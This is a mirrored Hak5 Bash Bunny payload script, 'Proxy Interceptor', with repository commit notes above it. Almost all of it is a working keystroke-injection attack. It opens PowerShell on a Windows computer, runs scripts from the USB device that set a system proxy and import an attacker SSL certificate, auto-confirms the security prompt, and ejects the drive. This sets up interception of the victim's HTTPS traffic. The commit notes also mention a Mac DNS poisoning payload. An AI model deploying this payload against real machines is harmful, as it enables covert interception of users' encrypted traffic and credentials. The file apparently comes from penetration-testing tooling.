mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
* Updated all Payloads for Version 1.2+ Fixed Style Issues on extensions and payloads. Added GET TARGET_OS to get.sh Removed and Fixed all uses ducky_helper.sh (Issue #248) Removed all mention of DUCKY_LANG (Issue #248) Renamed Payloads with spaces in name Added an extension to keep Macs Happy Added a payload for Mac DNS poisoning Fixed Issue #271 changed wget to curl -o Implemented PR #268 Implemented PR #273 * Fixed e.cmd * Fix e.cmd pt2 * Fixed Issues Fixed issues pointed out by @sebkinne Fixed styling errors
69 lines
1.8 KiB
Bash
69 lines
1.8 KiB
Bash
#!/bin/bash
|
|
#
|
|
# Title: Proxy Interceptor
|
|
# Author: NightStalker
|
|
# Version: 1.0
|
|
#
|
|
#This payload will enable a proxy and import an SSL certificate to a Windows
|
|
#computer for Internet Explorer and Chrome (FireFox is in progress for 2.0)
|
|
#The script uses a combination of Ducky Code and PowerShell.
|
|
#
|
|
# Set proxy and certificate varaibles in vars.ps1, certificate must be in same folder as payload.txt
|
|
#
|
|
# Red Blinking.............Running Payload
|
|
# Purple Blinking .........Payload Completed
|
|
|
|
#Set Red LED to indicate Starting of Script
|
|
LED R 50
|
|
|
|
#Set ATTACKMODE to HID and Storage to be able to transfer the certificate
|
|
ATTACKMODE HID STORAGE
|
|
|
|
|
|
LED SETUP
|
|
GET SWITCH_POSITION
|
|
|
|
LED ATTACK
|
|
#Start of Script
|
|
Q DELAY 6000
|
|
Q GUI r
|
|
Q DELAY 100
|
|
Q STRING POWERSHELL
|
|
Q ENTER
|
|
Q DELAY 100
|
|
|
|
#Change to the directory of the Bunny with the proper switch location
|
|
Q STRING \$driveLetter = \(gwmi win32_volume -f \'label\=\'\'BashBunny\'\'\'\).Name
|
|
Q ENTER
|
|
Q STRING \$absPath = \$driveLetter\+\'payloads\\\'\+\'$SWITCH_POSITION\'\+\'\\\'
|
|
Q ENTER
|
|
Q STRING cd \$absPath
|
|
Q ENTER
|
|
Q DELAY 500
|
|
|
|
LED ATTACK
|
|
#Set the proxy in the internet settings in the registry (For IE and Chrome).
|
|
Q STRING powershell -ExecutionPolicy RemoteSigned ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\SetProxy.ps1')"
|
|
Q ENTER
|
|
Q DELAY 500
|
|
|
|
#Import the certificate to the computer (for IE and Chrome).
|
|
Q STRING powershell -ExecutionPolicy RemoteSigned ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\ImportCert.ps1')"
|
|
Q ENTER
|
|
Q DELAY 1000
|
|
Q ALT y
|
|
Q DELAY 500
|
|
|
|
#Unmount the USB Drive.
|
|
Q STRING \$driveEject = New-Object -comObject Shell.Application
|
|
Q ENTER
|
|
Q STRING \$driveEject.Namespace\(17\).ParseName\(\"\$driveLetter\"\).InvokeVerb\(\"Eject\"\)
|
|
Q ENTER
|
|
Q DELAY 500
|
|
Q ALT t
|
|
Q DELAY 500
|
|
Q STRING EXIT
|
|
Q ENTER
|
|
sync
|
|
LED FINISH
|